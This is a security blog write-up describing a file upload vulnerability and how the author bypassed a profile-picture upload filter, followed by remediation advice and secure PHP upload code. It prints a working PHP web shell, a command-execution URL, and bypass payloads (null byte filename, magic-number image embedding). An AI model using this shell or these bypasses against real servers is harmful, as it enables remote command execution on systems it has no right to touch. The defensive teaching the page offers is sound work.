> For the complete documentation index, see [llms.txt](https://everythingblackkk.gitbook.io/everythingblackkk/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://everythingblackkk.gitbook.io/everythingblackkk/web-security/file-upload-vulnerability.md).

# File Upload Vulnerability

## What is a File Upload Vulnerability? <a href="#id-9280" id="id-9280"></a>

A File Upload Vulnerability is a type of security flaw found in websites or applications that allow users to upload files (such as images, videos, or documents). The danger arises when an attacker uploads a malicious file instead of a legitimate one, such as uploading a shell script to gain control over the server.

{% embed url="<https://www.youtube.com/watch?v=hIkHipax3IY&t=12s>" %}

## What This Article Covers: <a href="#e978" id="e978"></a>

* The scenario I encountered and how I analyzed the website
* How developers can fix the vulnerability.
* Strong resources for learning about this vulnerability (both in Arabic and English).

## Discovery of the Vulnerability <a href="#id-6370" id="id-6370"></a>

I found a page that allowed me to upload an image as my profile picture.

1. **First Attempt:** I uploaded a `.png` image, and it was accepted normally.
2. **Second Attempt:** I tried uploading a PHP file with the following content:

```
<?php 
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}?>
```

This script executes commands passed as a parameter in the URL and returns the result.

**Example Usage:**

```
https://victim.com/uploads/shell.php?cmd=whoami
```

However, the server rejected the upload and returned a **403 Forbidden** status code.

## Bypassing Upload Restrictions <a href="#d3c1" id="d3c1"></a>

## 1. Testing File Extensions <a href="#id-55b2" id="id-55b2"></a>

I suspected that the server was blocking PHP files. I tried renaming the file to:

```
file.png.php
```

This method failed, suggesting that the server was checking for the full extension, not just the presence of `.png`.

## 2. Null Byte Injection <a href="#d12e" id="d12e"></a>

I attempted using a null byte (`%00`) to bypass the extension check:

```
file.php%00.png
```

The idea was that some servers might truncate the filename at the null byte, effectively making it a PHP file. However, this attempt also failed.

## 3. Manipulating the Content-Type Header <a href="#id-18dd" id="id-18dd"></a>

The **Content-Type** header indicates the MIME type of a file (e.g., `image/jpeg` for JPEG images, `image/png` for PNGs). I tried removing it from the request, but the server still rejected the upload.

## Exploiting the Vulnerability <a href="#e656" id="e656"></a>

After multiple failed attempts, I decided to explore **Magic Numbers**.

## What is a Magic Number? <a href="#cd7a" id="cd7a"></a>

A **Magic Number** is a unique sequence of bytes at the beginning of a file that identifies its type. Even if a file’s extension is changed, the Magic Number helps the system recognize the actual file format.

### Examples: <a href="#id-3c67" id="id-3c67"></a>

* PNG files start with: `89 50 4E 47 0D 0A 1A 0A`
* PDF files start with: `%PDF-1.7`

I uploaded a normal `.jpg` image, and the server accepted it, returning a **200 OK** status.

<figure><img src="/files/nY45kHhZBmSMvE9PFi46" alt=""><figcaption></figcaption></figure>

### Exploit Attempt: <a href="#id-9dcb" id="id-9dcb"></a>

I re-sent the exact same request, but this time, I modified the image content by embedding the PHP shell code inside it.

> *But I sent the request and changed the file extension to PHP.*

<figure><img src="/files/xSv4wuc8tofYmmgNfJaO" alt=""><figcaption></figcaption></figure>

<mark style="color:red;">**Result:**</mark> The server accepted the modified file and returned **200 OK**!

To confirm execution, I accessed the file and executed a command.

```
https://victim.com/uploads/shell.php
```

<figure><img src="/files/4SmLmLAKpzzbIiiHJcwP" alt=""><figcaption></figcaption></figure>

**Boom!** The command executed successfully, proving that the server only relied on the Magic Number to validate files.

<figure><img src="/files/tDm78wHTt9ErOjIhIhVL" alt=""><figcaption></figcaption></figure>

## Why Did This Happen? <a href="#b114" id="b114"></a>

“The server only checked the Magic Number **but did not verify** whether the uploaded **file contained harmful content or if the filename matched** the file type. It only validated the allowed Magic Numbers, such as PNG and JPG, but did not prevent embedding malicious code within these files. The developer assumed that verifying the Magic Number alone was enough to prevent attacks, but as demonstrated, it was bypassed.”

## How to Fix the Vulnerability? <a href="#id-6734" id="id-6734"></a>

### Security Measures for Developers: <a href="#d4de" id="d4de"></a>

* **Monitor file upload logs** to detect suspicious activities.
* **Change directory permissions** to prevent execution of uploaded files.
* **Improve the PHP upload validation process.**

### Secure File Upload Code in PHP <a href="#dd55" id="dd55"></a>

<pre class="language-php"><code class="lang-php">

&#x3C;?php
// Define the directory where uploaded files will be stored (outside public_html for security)
$uploadDir = __DIR__ . '/../your_dir_here/';

// Allowed file extensions and MIME types
$allowedExtensions = ['jpg', 'jpeg', 'png' ];
$allowedMimeTypes = [
    'jpg'  => 'image/jpeg',
    'jpeg' => 'image/jpeg',
    'png'  => 'image/png',
];

// Maximum file size (5 MB)
$maxFileSize = 5 * 1024 * 1024;

if ($_SERVER['REQUEST_METHOD'] === 'POST' &#x26;&#x26; isset($_FILES['uploadedFile'])) {
    $file = $_FILES['uploadedFile'];

    // Check for upload errors
    if ($file['error'] !== UPLOAD_ERR_OK) {
        die('An error occurred while uploading the file.');
    }

    // Check file size
    if ($file['size'] > $maxFileSize) {
        die('The file size exceeds the allowed limit.');
    }

    // Get file extension
    $fileInfo = pathinfo($file['name']);
    $fileExtension = strtolower($fileInfo['extension'] ?? '');

    // Validate file extension
    if (!in_array($fileExtension, $allowedExtensions)) {
        die('File extension is not allowed.');
    }

    // Validate MIME type
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mimeType = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);

    if (!in_array($mimeType, $allowedMimeTypes)) {
        die('The file type does not match the extension.');
    }

    // Additional validation for images using exif_imagetype()
    if (in_array($fileExtension, ['jpg', 'jpeg', 'png'])) {
        $imageType = exif_imagetype($file['tmp_name']);
        if ($imageType === false) {
            die('The uploaded file is not a valid image.');
        }
    }

    // Generate a secure file name
<strong>    $newFileName = bin2hex(random_bytes(16)) . '.png';
</strong><strong>    $destination = $uploadDir . $newFileName;
</strong>
    // Ensure the upload directory is writable
    if (!is_writable($uploadDir)) {
        die('Upload directory is not writable.');
    }

    // Move the uploaded file to the destination directory
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo 'File uploaded successfully.';
    } else {
        die('An error occurred while saving the file.');
    }
} else {
    echo 'No file was uploaded.';
}
?>
</code></pre>

{% embed url="<https://www.youtube.com/watch?v=hIkHipax3IY&t=12s>" %}

## References <a href="#d26a" id="d26a"></a>

By following these security measures, developers can prevent attackers from exploiting file upload vulnerabilities and ensure safer web applications.

1. <https://www.youtube.com/watch?v=E9yyhxzxeok&t=171s&ab_channel=Ebrahem>
2. <https://www.youtube.com/watch?v=PKO9PzHP4pA&t=3173s&ab_channel=ARABSECLAB>
3. <https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload>
4. <https://book.hacktricks.wiki/en/pentesting-web/file-upload/index.html>
5. <https://www.youtube.com/watch?v=LHFzBv85EUc&t=615s&ab_channel=MohamedSayed>
6. <https://www.youtube.com/watch?v=ZWG1nNdUnBc&ab_channel=RyanJohn>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://everythingblackkk.gitbook.io/everythingblackkk/web-security/file-upload-vulnerability.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
